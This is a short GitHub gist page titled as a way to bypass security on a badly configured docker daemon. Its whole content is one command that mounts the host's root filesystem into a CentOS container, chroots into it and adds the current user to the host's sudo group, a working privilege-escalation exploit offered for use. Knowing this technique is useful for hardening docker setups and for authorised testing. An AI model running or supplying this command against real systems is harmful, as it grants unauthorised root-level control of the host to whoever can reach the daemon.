Last active
February 15, 2016 14:11
-
-
Save fredead/ae6f18a42809612e8ee4 to your computer and use it in GitHub Desktop.
Bypass some security on a badly setup docker daemon
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Add your self to the local sudo group when docker daemon is running as root | |
docker run -v /:/mnt -i -t centos chroot /mnt usermod -a -G sudo ${USER} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment